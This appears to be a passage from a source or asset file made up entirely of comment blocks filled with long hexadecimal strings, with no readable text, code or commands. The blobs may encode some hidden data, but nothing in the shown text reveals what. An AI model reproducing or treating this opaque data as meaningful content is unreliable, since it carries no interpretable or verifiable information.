9e7edc5f1defbe2e82b29838d11226266d44aa648c91cc0d2f63a35e1b387025c85565fa759f5f2b47e10be68ed4d07632b34852fd069538f68613f8651bc6deba3409fda563141b6d8261cad74cef15bb0574529fc38125b884634be77c1b5dc6323c47170ef494f343854e1efd061b4fc47abbb9aa6b1a49ef573c4971defce4b0744aa64a8d6999ccbfbc466654c4ccdd8981f7a139c955f6fcd9f032ab312b56fecc0ddeabe60913d9379f6302dc448325400700aace7d53949a805f79b03b142b7e0590a53ca26ff053fb877a3b26f4160be271cd5b0c43c604c9041ab1f6d5931c4e4a4063acff22f194083f2ecea48e6622fb1617552e4c0d5a691b9d6a79584837560968f1db4619ac9656ea476362a4969ca8b0badcfac125e57016e7dd18c5b1d28179b124cffa9e7cacb2e1c664c3d322d6c28df1b91c4c4358133014e7e40ffe2e7467ddde350124c75b04d0acfe182a7213825b5caff1218835d24cf614487d9040aeb2d6108c59a3e444fb8d5acdcab68fcdc21cfe0fe33f865774b3af9c698a95d00847e834371ff45c6b6640ab7244a1059591135170569c44ee57ffd727f1b9edaa3eb76584cb33aa6087b44fc5bde8c877896dbf90b436b5d0365e53e395ea02cb0d2362be7874586400d764933ff67860c2dce92e60208048368f4d2fd6449b817ae87c0d0d54a605aea3c30af4facf64e2ce39229d44c9540a35a6a7329565f587e99feb767ea1ab1338f796b24e66d06476ad22cb806b2235feb6049e1c8ff2b5187aae2c8f888ebf5eb3ce7c6d03cd35f79b851cf0c09f28c0adfe2914e77648e29d21af39ff8b10f3ec37154a0eb990b3f5381835e2591433921a3d6e9db5d940097b09186c89d5b03990544f1debb743bb82f98f179a5ba8adc62e21bffd1d46a6a340dcf2927f93dc9f255601f41135d04cb1e81fa3d2cd2096e409fca6ef7d73f62df06b2e2a9109881a461e7380a3544873b94cb4451cbeb13716bd63ad2c4d5615127cfa684f46d4d2df9113240a7dd1b5c4d7c15ed0898f24942a08a45eea2249480b6f00966d9b8e88736708141e3ede986f916b1f6281bac6d05e78b45f7be1f199a8795751dcffc2fc12bb494b73f3b89be9c6d4ae441abc053f50f872cafa0cd513f38644007de7d7286e9c4e8684a99084d34c3af9d3f1b66c5ac41398bf6b80a6e08b78e97c923a920efdc252feb4ed83e1d53f0927c0bdb7bbf9694884913e89352989b1a1efbd5cad8b04b76ad889465b2068d38f7d4c45af05c2a07a6e7b6bcda9106d521b443889f19f381d060520d2d2a49767cfa6c9b67000a5e943ed36738b0ed03315faa29cc0648791f35a8da1bf07431dcda56c16b9ec4f32998c9c5489d05be4ced193344f510fde648f905ded8c1e341494c4c6043e125b01fe5371763be1bb34845ebb447df1b3a2c5132fd33c05a952b960f5d205e636a619046fedb780b8244bb982daaed4b9a4b84324d50e4724794dbc2f3721ae3688339cff5636d7500d80fa27c7c00d0d9025ce69786231fec16b290de8cb57309c45793e47b671495d99d54fbc76a2b3a89a76f1a4e4fa7981e524fdb43200554ebe4b1ce356b39ba6df4188effdb2c754972f2a792ba3ddc5001a19d4268462bdc5d51e21bfa3524e232c59b7aed95ef4478b96609168ef1d5037606492167cfc17ea6217515457735a9393411ce528cbed40d5832caaf7e919538193c028b508107e557b1e63fc91a87a71e5cce436c3d89d4f20e515bd849b33bc7924785c56add4cf2eaf52aa53381ee25cb821c58758ee49ad64dda291890349ad1942e3a9c562ad731ecf231792d47955b2757bef4af24d66df7b99666d80f91e92e6e1708c070839836e1d96548b13a8a3ba2402e21cf0150eade92101c13e7421445c82ed99854*/
/*7dfc7cab3d3c513b2bf7e18a85f64dad75630b06989e221b6f1ab50b00f049773eea79a206a16fadb48e638cee7dbc672d2d23b70c50feb6e1c0c85e5f6a19d859b79884174a88820a2f85650600bc434d65b2436e53d702f71979a93c05537d976d1e7c6d6af710b758d4fc300cd29e20b4dbf2512debe7b755030d63a725d558f4fe182617558244a92948907f053216df4a49bdf09e4d0afcb723388b1a583f873915769328743f569f540024d38ebb48391d7509229c5fe2000683015d8955775238a683c2375cabc382edc78af39a5a81c50d74f49dbf15a1e45c89ba6b01fb66f0498b761aaf0cf3d8be63fc87fae8f5ccd4401e70f6af41dcc0c5eb3f20f97bae2c8e390f561582f82b8b5ecca38e226bd18e2c2c6f1988bd2081bcb04a18a390119ab6c4e70962cd4c919676a065cfab0cf79c4354d67cb64a9c3e91821c669ca06bb7db1e2daaf994058daeb3e4faba6f1a0a43bd3c81713c295d2c6bc2e8f740f8225874bd26919c3b749163834fc384def407ec2de3ece72a7693652f702d8483f1f7648f1c1c824bf945ab8f2f192b86f4f408b57c8696e7c187a45a89b32e6bc9ed503d4305e24d9d48478c5047ad31a7600a875d1c0b874a2831195ddecab10310cf1f892f435d1be1b1ba975e30207961b8a6f2d32aca362fb7e252710e607f44f50912a871a07628ffb1375221881b65054234750b7d02e11add4fd4c3922bcf3f96e316e2fc0ed913d7689f4d8ea9ac577eb21bf9cc615077d741fdab86cd77e136ca97c384afc68b66d9fc5341cb2b207dcae7c5b638e781ca3eefba74cae4ae62ae56cf4865e82f8ba2f8124621d4ca96af10419602439adc19bb9036b7d643f56e16b0723ad500ccb910e55024d7d3f5bde405cf88e9a26eeba9cffbdc952d1de7e0df87e8ed247a36f69a845350edcdae300f0fcd802aa2fb08ee493a86a2a22f3e4fb43928772d019395f86432c1eadb4be7500992e3c9caa69cfdffa4d0420e92cfc5684a75371f34f669e7fa61bd1ae10aa8c6604f65d2baf033fe1bc95fdb60d2333ed4b042cbc5d17830d96499970747f22f7f8b48ee513e2017d01bbf7bd8bcb510578d145e94cdb708d6ebadcc9e8ac1582144cf02a8fc8e6198263906ae504b72a42d435001a2106213a348eac19c8aa1bf23d1c22bd1fc6806192d1179341a7ad074cf8f2d2a68ba09d90158d484ba050a6bd8bc88e470dafc5fb020ffe8bc36b8ffe9b3a874848404ab5519ef12f539bad882c35d107f77809c2f932570be898fef1cea629daf07d2eca5c92e4b6f100251d2aa3357df5f053cbbe4e8082bd0cb88bce1c74b478fa75faa5a19d1db969fcb150e4e4648babab48a6eae4329745c8da821765ce33b308aaf18c0554a775021fac2232d4102bcdac6b60e1ae0deed11964946dfd11436ed1c5ccefc2aae18792ddd87950db603c8587edfddb73b97bba7ff27fa11d6778826817c8e6d575afd6561c5230b5b2fde31d875634f6b0aff3278e696594eb40de91ec77759d772d6a243f274d98aff52784622a6b8aa7da84627af65a694cf6bc062b0a3ff0b6831a4d1d5014e44256a7dcd9cdbb3f1ff0b9eae8e8e9463107f2c29587ee426ad7538a8b884e2f94b380feb1247eb421d56c127efe28d059a1a8c622435a47c35fa623114341d970d46229cd25ab626b974bf07dcf8fdc3b7473820f502fb3036f55a60461cce36155af44e7c125d3110265981c6099bc2a9afc633c462d93985810fa57fc0894cf08f89b2343f4ee9463af63d7e515b13e46d251c60b50ce2cb2f7175f87e2e6f91eb157e4adec5561f69fb74e05b3ec9d8a8407169f0e1e6069d47df4951bcd03f65a17e695d7af67771bef9806fca04eda2ef2cc2c4a2e595b2b2bcfa8fa723d353fa1781da08819fa5d261ced46cf5cd0264333cd5252a1168018e1a90383742142d52ff29a01e5e7dba21fc46265ed8ec406ca195cc7487adfc2f65d58aa10f46c32113e62ba742506e269c546ac18353b83a0ef8cf00611f445237b8bd1890da1245a14064bcc412b1b4f0b0af25c42c266de4f0c0851656ce793ad3911332eadef9b46563b30d2bd3d47d09735a1235e9839062e362c0ae6fe9be0c94e192f335bab005387b10d707eb4ee46a80311724231859052085395153f6f933d1b4ad3e8696142c73cff4710b501ff632db12b904de87455497ca5c488d8c192f8c3e32c57e757aa01d23dd9afc48e5bf17425cd61e903638fabac23ee1827a3a765795393618ce062517a71048c1837cd6d36eef9df3a7900451e5aaecb96c24b7e465bc282d38587a5d01ec49ca90acec78ece5fafa7e236173c7068c329d67de45cb3a8412d9c4da6cc8a8eecbc7ebc8ae86b121982c1aa8be5d81d584382c86ed23812688f9d6e4c0ee3330e0e0db12d9c94ce1edabeca6276263838771721e2d6137e3f74118bec14d0712522127607d9e13b66ea90caa7b772a30700183de05b6acb2651b70e9a03ccfa6149c0a44f5402aa1c537066b47bd5ceb0ca4accd7479d3df88b35fbb32ff934e2eaee7ef90db4cb3eb0d470cc7ca154de9ddd13425a15c5f8672b738432417f6ce8342610317fa80662c1928b5efc60622d3c86cea31eb753fdcab96baa0a4ab90c29bafecc83367d558e8038f2283ad09e0af996dd52f8f4770fdbe39eef50eb78f88b70c508bd2a470c343271b41245773924d9c6c7c66c47dbbb7b0f6539f3a7f233f8cba355ef2d6bfe900fa0592e2637bc697a6e8d8bb9aeb1077c7cf1835cbc3a70d1218b0687015ba061447ae0abcfe8819ff73fb81416b7c*/
/*6ad7a14429d9339f58a44204467362fd71745489d1ff0cd9c18ac7919d94fdcb69b0b1d68ccb82d00bc259d3d384ff8c3213bfb1d166f72f201ac3c2f465d1274fb72469496a5d983172ed69e3a69889d5a5b4339da6d126490e2f26000ea7854737f0264185233b2b5088df5d3cc127d82ec69ae05265e806205e612d491795015c8f599db6ffc5c9bd42d0f2ea107c28dd1d32bf2da744b2a64f19672a2ddccf6dd3dd1a483cfa5df1966580a9355ac0b55cef6353d99882630ae914917bdfbd44a201a4d5ddb1432ab725ce3f8c4f228ef1107cd7e7a0f3812d608e34b550dd42febd9b5a0e1b5693b03803c0098dee1d8a669502569df5d66a9ee5419e1312ac3f9bc54844817bd697b711c1d113f96caa8fc0b46a3e45b927180697d2c1ea9103bac0866daf503848ff5909455d73b52df93ffb12ca01287319bc65fff483c4a3c4b32b99c0f550f35ab6b1d445c56946ded306071dc76b46bffd2e8cf79c925f835e322c3a6560560a7f0cbbb5b4403ecc3de1ede6568176d1cb0b5a0d08767180a808b4055e70161e9a375c94be12602cd1f67bf9c17a08a956eb5d64f2e4927ffbe78ee15afa9e583e8f06eda4e7daa7fba199fea1a902bf271e2936689990eae422ad93956767d8afde353b63757a7a2df712d8cb16919350de2cf76262b8352dacff18e0286b029b1e6de6d3729513c6843018f16295b6e1ab5517c497f49ac4b365eaf01ad635e56d81924e139337e1097c1ed33c34b92b14152b56a15d27443f648bde81b241548aaca07588fc6395b88affcfdf1000e291202b584187d7331a615329f581121a21e2845507548cde6166c7147b1e05ce0e30d5e6d3cc278e3966c69919666917499608b3b99c8eb22ee61798b931669068dee80245d18c631bda79ea2b73f948401f60a4054d3364fe27b0855453a5062efa79c7169efa3064c97179471ae9fedcc82309213832f589ce9538b7f296ea5cb536cca21a9a729dfd6a93d61c7c71918d66253f8c71efdb0644fc350b56074e93e0fb322ec5722dc1287976135d3704694eff35dbf55c1713c35cd7d1847c4f6f6b764a79d82c2aafec67cf0b195f01a81930ce9bd13094da9fe56fe1f343120c31ad0147e16c76963ebd228b064ca457568a98ca2695df1697f228dbd5b1987c60177ce4ce9fccb864101ff313ba9b9173a99c69f59b4fcd501807fa84f917e0659edce3c64f483998f66a842455c0c6527a5016aca64be5d2dd1e27154fe84896c1115b24481f89ed0c0cd9047f23fc9789b7985d3520c022c4ec404d0a4cf85d39f10b4ccbe7f528fa990e735519fbffcec9614c05d2c7f6ee5f18cb653f1cbb622121294201779a76bbb4d595ef423f68a1a52c41d33ad4239894bbcb26be4b7e3a46290db43befb1d010b298f91f87ee5c5e5beb84d41941f4dc79163143d9d9f66d1e2536b065211c3498b735c2e185853e928f6398d849ba0fa24767f693d67c32c2e2c49ad562096941f63cbaad7aeb2f28e7ec8d510665094b301462296bf6741843fbcaa19db179c0613f9528aefce42c3a40cb557d4aa74de06abee4469bf11722ff6681a26e2978819b88736f72ed7850e06842071c5ed5331e0988c525667a429cf65ac8b2d0724b1768a52b3300e93fe64a0ab186af903266e04de61979b6000f45d9959b2de94052c1b7a7c7a679ee7d4d68a559ed6d18b9487860d8f25d1b656272b2fae98fe56766e87ed651f41c448887a62457473e232bd139825ada0a01a402d3197b3e09bcf2fe6f6efa8a2c7d0109e1380a2bb90621980f1f7515bd7aa998644b2c7ac8fa603c6ac54441ea0d32629b0f431a4664a43125c46031934fea43088f37c2452281f8180a35588afef18ee199a3f16c77869e1e7de6ce81b245b2265a03e8a0a9c0b8ab8b6b5333df0a63689dbbecc2d2ee4b98c34205e108f03c4735d16d7787357eba0dd329fb4d406e4ca5281ebaa4268db9219e5dbe95303270b555f22c534a0562db938e876f90a496b715480015378035f015904c8cf5af4dae3c40f6c1d50ff90ebbec736eb4b8f12d2a5ee43b3b82e0a74d6a6dd2fc50bb1203515bb281595cfeedfe081b4910b7f74686bf870b50870ea60fad1cc392e7af81f3caedf310b8658b589b001fae830f1d6612e673930acbfa1ebb524da9e076556eed0abc2dfe4863fe99901e9a8b6f4502a9c63e09f7f93e03aaa54ee5688a3944d0a0e09bd5a7075b776382856ca28c49d27e09e0e38157b981e35c1cc5723a5693725371cbcf927799db05a99a69954222c699dda4a8c4262bb50b4db733646b3376b5b03e65624adaabfce1a7a1bee69fc7b0f345280143c35355cf3aa0c983bd77f77dddc8f23f683e8d1811acdc74c007d8f3c62ed89fae46a339b5da6b18684cdd817e298c8d44d4555152589c19970dbe7b09172254e430144ffe5f910a4ec38303ccda219e370dec2b503631414425ef28893f6d8fc9eff140139c3466d3de9f7d1296a0da4fda9ff1f6cea76dd0bcb0d7d6b0e38d68d58f27d1b96ec227fe35e77a13dc3de5ecd1e778684a46143822d8f108a68e4d1ccf6f3835027f860e16e8f8dc927ebb064e986b181b3a2a165996aa5037b51c62f92bdb73d5f2c55e9ba70bff1334835e1f17b2358b169ddb9e06a72614b32182393284b79afe37c1c83fc383a158577d61b0abf6112589b6dd3f69333890cbedb1e495ab7b0d9f0f2f54aa54aaefa312062344a88884087a67cc9c6132c17a28d43e0e87db005e048d927f0a38fece33570955da904d54499788cbe670fbe9db5653a05d1b92b63fac81*/
/*76c6e02af71043e0bfa518497b14d81a0231934e52b544b1fe0caa871a09f0441991a080d14d7df5fd879ea18863a6ed45b637762aa746538fcc3ab51b998d148138b557f87851fefc8aefbc9bef36e3e549244ed2f062fe3aa7e06139731454dd69e5fa71a4e1439e5ebb92a9fe9e645bd7b089b99fa10c9c68adf3a1d3b4483d848bea3f054c9a0c3d9b384a13546fc08e0303eaf4f2ce0eefc0f0c18fbb3faa8bb2b8fffea3f8c1c924eb34ff83c0146220cca87abc8719421c4f53f9b07f184cee2a6098f2a3069eab1bd2bd727c1811d3031550c0c1a4fa2c17bcd840f081885b8a07bb821a0feb9a28011dec217b448d6610ea9919849f035108b0b8fd44cb029a9bce3a01ebf4be61b9dd3430a14d3583b54950935cfb88712246f804fba6104a559d4a9b11c78a1580920e527f6a68005584029ea97faf107fcc39a14201bda2ed045e40eb8ca6163fa4f3c3dfcc4b433b8ed110f6e19df69c09ccfef973f856394b5dc6c6371ce98397d234b825b1cdc41ff6fd345fb84429b3bbfa7c0e248164fbc76f6989fe53e0738cf6cafd85085f8abc91a06ba254b020e0f4fd66c2d4ba22fe7b87967ed22f0c7c589a20091ac3e70ceeff68809f842916c452997a5c7f7976e4286544f1e6cc4034865b812eba4f1232cf4c09c554fdc17a7b0f33c83730e16bc9ace8b8d72b86bc35fe6b24005ce1be3cb6d06a9e0b5ca7a52c6e8a9fe2de53c7acb556531b744f22afd2ad92a205b2e68c3f98da9c05969ec083e33bf268137f4bb49065c0a155cef5b2e8cca7e382efe9c6c588ec36d4ff0c556b2eb369e5bc276eeff51c704367a241b704ee1fef3ca3d92fbfc84bc12e1577bd70748faa912d6fe02ddb8735dc6241ed07534d987fe0d96e104b03fd98fe7dccd0b458fb8989061f5c4ffb551776a57e907a30678b18d86d601bd62e206335c79c9aa69a2a59ab24128a46e063a01fbe280db1251982eb2e3f50f80ce2bc3912af31d5c5d45b405936f5aa461134bfc36eeb1104c07ccadbc36ef6c76d287abcbc68dfa8dd46e2cc523381b261288ca9db25d72436e8446c43da73ea22a393570c65210178666c3d66fa12d38a94169f5641706f97753ea576d1a75e4785b77bdbe18dc73bb5b93deac962b75e1430ebfb0da92bab6cfc6d00f9e8dad9df8cafccfa4b12bff849cadaa25f589be38bb00c14bb15cdd35d296de3efc09ebaf2676f22dc908fa8fa61880b0d8aa9068fcc99d5f2385f3e0b772dfe25a8b40eeaa098cbaf2ccaa49f676032a0cd18c2a0c75ff62e791e1b41c65d1cc43cfbf4fb87956edc8e8e334bcfc406f4b5b22300ab9a5147fb046d7cc5487a1ee68bc2a4412bb7e9f8937d6ab8846ee8599bbceb0bcd4f682f306bf18cccccad7df0828f4ccfd4da4a26809aee240dba36c1cfe0cf01ce2cad00671894197c3f6b3cc40004c6f4c19d742ee6ebec86967f9e9e5cc00fe3b761d07b4eedbabca39c07f1e270f6fe5c76347c763416300c1bf26985f1f35da409cdd88af554b99d02917b7166891853113374b3384fcd12de0b74dea82c7343f1149705c104f9438545071265698c8f4a82d3d5f6e6315698b8a0e1c12f00411346b5ab54b91592615ec6620ae7dade7c33db70ec47b96dd3b0187ad4d99e64fa83890eda362a24a71daebd8c7286cb28542b890e16f4df1c642f1df4f338d0b522d7b15397b711147e5d05c6dd181a45652478e2a7d849e3f6f6b7c2175460e037bf47b377f73af71cfbb64ce217b84d61a321207415f053720d64ce5695afdcd21d11b20cfd233f3308315cf69131e1bb59f8ed6903def6ceaa6138062f4d22672ef45c506ad3b9fa9282688fc50016534ced9e7d6d6515359fada93044b5955f3cb4b34fb637137088a3c49e2a427b37cca76ee2a31457bc14b8fe763ee7299cdac9fcfc2a548e9def166bd9c6d862521b18728980e1fa219c8b4978207605f75fc418efc5faac496414179731ce2030d8abb9f63cc912e55f0fe2a9b3d5271a940d03b9d807c7ab6f9a28f45e8e1a1a6edac4898ab40ccc80e4689d6da943fd0518b3988a6d8b00cd7ef9cb45823d7182b28b67f43d5aa2afaef9a581b467d349f0acea2e5eb4b9e0b25ea7bc1c4805cd55595c658e0e7969b26ddc75b48b88e3cda52c8d566c075071025944810e09a5681264fbab16c1d28e78667aeecf74603de9963d201456c1103e164a4b27fd15ade0811004ece4b4841ebf9921b837bddcbb1da9eb7c85046e31c3d74bd6270d6112fa500e171075f94e1e29ea42c7e7a1b80907dd66e5931be3aed228ac42a94da570c01cf8543e2a5b82946f2deccf3c083bb2febac825d2dac7b29e26080d978f08b9febdbf0b68fcddff81cf766cab13c1dba6f1de44de7d3f0e31cfecc1c8e94c6fa8023611a7bd3740a69f34b2dad2673eef6bbfaa35bfc44dd585b5fc5c3175da3caa039208cb30703aecd148cefdf2825ba3d6f32cecfd3b42938bd2dab189051c372fa79be74492a3dd41c5a9ba2e0f2ee5935e12beaab383de7bcb048b606a14bcb80b7076b25fa6fb68de89015211f9c616076eb534e89c5be6b0c2016d00d108de62b67280f5c5bd701465085406471138768cd32a962a72adfbc43b4301ad634b5ad8787d5928639343882599040f9e6763886b334ef71a7737544c75173b00932d35105b7dec843e6ec0348b3d44b28e9bf59c636093c95f6999bcb6492cb913036561727c921ab3ab1becc8462b3c2fb8c851bc7ffb8064bc8d859b420befc3d551bd675eab3b0ad5c7e80063ceb2730c2cd9528387087c0b0939b1fa291d*/
/*d15ca43ec739a4bdcfc5630fde8b1fff966d87d1eb5112437063cb2d9006b07d9dbd443428d536ab693f9d570a91908b0e43c5efb77fea95c97751ccc9fc313ec690fcc3231d469bd249d97c9530620ab2a7f2f744ba1872eb18b9a8f0b5b271e760f9201ec260819df798b465ba76b7e04edc5ed618cf06ce2ecfb0568d4afd86033e384f06de08418a1ef795def503fa6a9b0662efc176f52ffe3230d51184493aab5f107ff35eb2d9648e2edd7f64da6a7c715bc812919f692d59a966e43da979dff51d2af5e82bbd7df99af68ffd242d53cb6705d6475cfc914941b92aacc26814e0f32035a74e2b11f66792228e4dc079cab7036565942a1fd461ac5e55a4144d3e6ff3bbb03f62b38caa0b781e5dd30a1c4ee9b16cf153dae4aab6fa20033b90b876025d0ef72e9cafddd3d17cc8e245ff993c9c14e54021a2ee6ee782905240813676181128a60078be015418be9dc8abcb5ced3fc81a4b6d51e7d3c322bb0016793947fcb8157078be152904b5a12cd07aac95251266164f2fb31f9a8d27e4a05137108c4fb846db5d8ade4a62b0a2c45e75e314e0e0de94c568d7b3ebfe25731b0a9ee39f3048b19855ef011c0ed021f2f938453028f3a0bee4f57a14ce67f5da65517934f6f0dfc30b2ae6c18fa7f21f55361dee5c1d1b48c5b629feb2d9b8daccb3cdfca55c438d33939bc218875d9525986f3e3e41ca08c891fb6c12c464504c0f254fa1ae028331257f9dce40d05fb015aed47f7da87ce957d0616b698dff0984bd7752d33c5485eb4b77b05322c4bfb82987e4f238a77c0e8ee3ebf646ca40846114b8ed08ae5ee37bbfe9b498a2f67b0c161f2740a8c66f4af58b0fc8903d79b3ba1822df37718e5a135e47cecae38e298b41d1d996ff6ad626034f559af6ad3760b8e32a2ac6087eb2f8605ed17f71fbd0fa89c26f6c37cccc2c599a69fece392cd417d4729c51dd487566cfa40d06a43fc62c810f5990e3f74fb8cdccd38620d2cd6c54d72dc781a2547ca7828f6c78a0da94f2edb4b20d066baac6d1015a161b4cf575a9479b72b13534911da0bb058162b3236cac19965a8e3a02f23886155e2a25b16b992df4c27c6d772f808962956ad3c877d8ac68704036709497e7e4e65e2f94d96d533cffb76fbbd74e929534bc8618043ea7955823cfd848af98fc41c4a16287ab37af80c60b6d57b678827e958a80a6ad9df517424e1456ba8af8456a576be970be140589410e36c95f04d1ad3b53b135e7dd809e1658732b8736ca7788416e574a9f4d893ffd5bb919c944e8ed43cf1170ae52f0a1622aa4d71d882b007544b5888be8e5c240f1dbb58792ab7b591cca7391970f6839bccd761eb43fb37fb2ff7947fbaeb7eb999a6f3ae909ce38c3e9df942f02c3905ade6a9806a2c1250ce888ae9fd5555c923366d980a416ee92e2ad58a2a1b003f6cef6e701f7f1c504a8b51ce23964a106fd83fd6f6f340a61733bffb46088691fd23d305ece5285f5b66ced3822616d7d793e714fa7ca85d59f2a1734b84e342060316e00499498a222a6b3fd4dc7cead6c8be2d4bb3e16fe717ff0a5575b25b7101eebd272a30ee9230298b285dad424d77fc981765c46c386d3d5e2196ebe499f0b4c889755491ea6b79562d9143535c609f6550ced826377589a3cc8a598739ba8f38b0cea46b1db37781064d594843baea67dc30044084bb63491edd7cdc22543644649517bdf86460999194f43b81396f23567964b4456a647aac8baedc85d48351f69221aba37cccd1735d9656b1cf7b6db37ed3382ef423fb34217f88e2789b66aa09fb7ff7527521a3296c2bd4a8566f9f7f4fe72d53c6f56a548e827ee82a8647202a43ddd65c0e1a177d4e6a1089bdb545c371467c1a164e730416f0caa04a8b022c35441988bd2ba737ab0d934ed43049fa82bcec9bf072e3ccc9c8d012ae5e5be016d5f5452b66e55083ca46efc9dc67fafa6260182142ec63b8f1b6cf7100b03d2dd81cdcc5d601c7e937e6d9c4dc48163d2184a10381fdd275473e7c59aa99b5514cc020435a0261cd27792c9c18ec81a6d369f96747db819652832ad4c755d218b9712133b7e0f203a7afb88ae63ee60ceb803605d3624d55f05b380d148e4b32e8ea3076f27447fd32c4cd0ee1d2385070e7506dd59b731d0d0aae735e6fed98c27a3a1cbc975a5ba71cd607484728f25b105546783fcb5f123647345afe4ff9cc511bed53f6c9c62f81399efc8242bb4c41d4bee6db6bce3e1f5d954592c150b721528393d0a790edbf519e8dd807228af46482b63607f5a836f084b9199eb36b4ef5f74aa9f39d2f9b596351013b841500b3f46cd15200291771608855a0cf04c332dc69ecdc6d5e95413f1d50047d3d11cc788c08c64e51d537dbe3c067df929d1cb34e871964e87aabaeb7e6af2b32ca575f0786ded241f118e837b9769179bd80f00b4344a3853b9f01f775fce67c5433e48f7283f9533938c352105cf3ad4b54f022e42e57c693744896be45153c5c8d3ba4bc78edef34d3f2828ae6cb8cb95f5aa78bbb01e37b67e27daadbe2304a82790f1c68357053859d548ff62a1e9cbf340b8db2e37d12919d9ae8b1e3831080aebb9245cbbe3d48e14f7fd3926eba4637672df53248647421b304c565696ef238ffc2444248901e03877ccc541c1e2c3e7795e11cc68a0fed142206600b4097b9d08b2f1eb192c7e2a7d0233fa0a25779314dc8393e1aff96463f687f304fd22876b14309d437a9f4b1b051b33a896ab0e6f103f453e4b57e2609f0d3f02c151574e2dbaa0b2ba1df6b67f9c72f88e92*/
/*86f69bd40b57a88f5c979d78b9da6ca6a2be9dc1b48e7d65d7b8e02507dd27778a6a2cadfdbfbdc20c2547168bb5dddf6f151d635f04a43a04e16915ba1c276190e7908ac113b84b90428911b8df29b60e4166bf7eb5a9f1682a9467bfe719ebd022a4d02c13e28b9f9f998294810d5a2640b297ceb35a5f50c58d51a76b75a2329643e8b4ffa1c3a9e6fe3fd4612341b67de0e5d44c13ebbb44f4a0e201a792cf95cd1f9b97ed24f3d330a8b9f94229bf846af54fe163b6d51b863b36882288f5bb7b20d7d029cc9906c262f2fecf1d9610cd433c74c57807deefa36347c3c91555e385eaf6737056168b99db75ae0fc18af1a2556b436ea7209157824c8c36c1080c98bd7648bcffc5518bd9e98d502a0d41ddec4d3bad25b1247a27dcc28f8a756787daf44acb1f6c4ebf5a34bac88723aa22ec66138ff24a0b5f03d23cd33fc0be91e9e6e1bb51e5936ca9cf3bcddca3df10a38a8838ccd3aa067389253c9327832d1f800dc77a09fc69037fc72a2bbf41ebbde592c1d0bd1256791e8e3a90d9c8647589c56e42344264c06a761ca395f323c6d492ab7b90051784d5efd5feedb704a9100151a180e936cec3dc909093840f416644bb9a34a3dfb8466f0ee678f64983c72f7839edef9a1a7b770f96de4af4ba950e4ad5b99688762b40202c57c11f95fc9c48834cb47744a865d26bffbe9a3b16e3db07c9160259bd9b5f3ed5744ecccaadb3d869ab7de682c9e35b812af1827ea73005295e341917cb21be4b639d33c3e102234de1cebec9de44415e00ad7c568763885545578dd2bb3f4e55040378ee88f5b0ccbf4c3de2ceb10af8576455a867e1db17ea38ec3d9890577d470f86477ef9d22e267809c8132da73873c1dfa673103d97836e9463e001078ecbdbfd3ac82416800738e889b4744669fbb7b22bd8eab31d21463fa64f2b296b7755df04b3276b71fbced12113914f61e596351c672604510d527006a967a4d1dca52b1ea572ca2878ef3bc546563282a287ccc167d39bccfe75013c7e12df638804705b65fc108bf67d64128aae3fe786c3a4ecf38a55a2c48886975e7683b2e3ba395bacfe2379dd058ccf7c0b9519d1a809f73e2a6c570d08458c4fac29f6953578d67d3adadf070526437fb96ada219e2bb3c8ff0cc7cad0959326408116517dd1c845e28b921fc8cf34e837e3c59682c8f4e72c00f72eceb7ccf8b981c15d243c4327cc635a5bc7d04afa3ce59dac13faf35d74d3bd650e7b985f8a7cfeef23f6897c843c7e73c01f494bdf4d96f2bd1b9318964566a1d5753aa3418f68bbaac3f2f4aeb4dc143a3f9a66d9ff909d645bdb188a9f2ea1c322d24f7f3649ad32fa053f5243110856a666c5e32a546fa172e9bbc97bc99eb6b8c88da86c99eb4596734cb60f5f633570280fde9e00e77dac6fe9786d2bff6bf48e6340c3b296c31dadd529ec9cf8efff5d4187a501ea18e2e3730e00286fed26f2b9cae7496c15b308df77a15700a26752de70b3274e598d723673544a8cfe682b0fe412b6aab7e8068de9a6b62f743d2e6c8a7ae428ecb0b5bdb2adc187b45313cf8465e632066a8eb220278eac0ce03fec003e654f35773b79036e64a202e0116cec7f86eff9a401e5ffaa19816f61abd4b8c52536c552deb860e9709ff890a16a250779275bc7cd03c1616ee4b01e45d575223abffa09c6a5482c4ba625ca9b6c1a1969418f43147afa6306e59961d6c51765d697eff1eec4811a2d1db4345bc8e2222426134227769026102c9701bfceed6ff03f37a5f22d2fe2783feabbe19dacd5ea63481bfd09a7dccfda9a8a0aae9cab30d948f2723de7266c22eb092362587c963c580b05cc8df4994dc2dccc0274f7733a06758afc78c2bda99cd5132a30105c10ae4c0b4619b6af083612aa2172217b09fb85b20c1b06d38ad5041b004f2f796c1e75444f36ddbd6dcfd419220a4adf10d475452fac16e1e0b4436021c66d37d7cdfd1c7d89fc7ff225fa774c2f1f5e09d4eed3bcbf46eaf889a49aafd0ed0efee8ddfbad3de9f7f5a4967e94877c40e4ca3aa431122e18e18f610b90549480b5efcbca2fddc37bdda9beb8c7869351f3ae4e0eedad393402c221cf5e6c1557ff3ae61f01a99504a3750b3b596a094513c4077da273d5b0da1b7cf1816bead74dd9e922d6cb3d06eb1a248b01482d4d65f3cb4ff1d6926186d3e4cb541d1774f720cc44a2d350edf2a76880c8ad34a99a4214bd1d6f24a7d436270bf15e4172888940d2080ccd590c3dda20f384d4360413ab215968b3b2a1fbd85bf71b4183af83e2a8e36c8cd992d0670ba7ef68cd3221d53f3713385f7af02e5a3ecee77bd04fc0ec1e72f63d03740d75b8811027029ba538986bb5fd473e6ffd25e71dfd900cf4a1afe8b7dab0539ca1600467671d55e3bf76958d894fc02d078f2f0924f6c80c1735e1bb393add0f56527df31cd71d92b310483247a158d3017bf69d62d5853cc50fdca121b36e6ca54849605331bb615baf6b9e1e6e1b3076d5369905ad4919232ce89bdf8099d40a9209e46d6e4a6476f65d8b2b40e0f0caf91a8512b36efcea81ca65b9308c9801ff41f37fc49ebbd577dd640cb5abd55a9caf9ea7a4ff148bd8f3fa764b52af390b45add142da66c39849cc2901b1e9a29e05757227a06a755cb77aaa2d4cf38defe17ae7cc6f8088817ad5f18c79f13efdaff4ba3ecf0d50128b1bbb3917080702a2c40d661a79ad185213ce21e967448dce3e1d35f57302476300f060fbf17665f06dab6747243314ed73ea9152ccc8e1ca85e6c8f4f9506d78c977595369bc8ad3*/
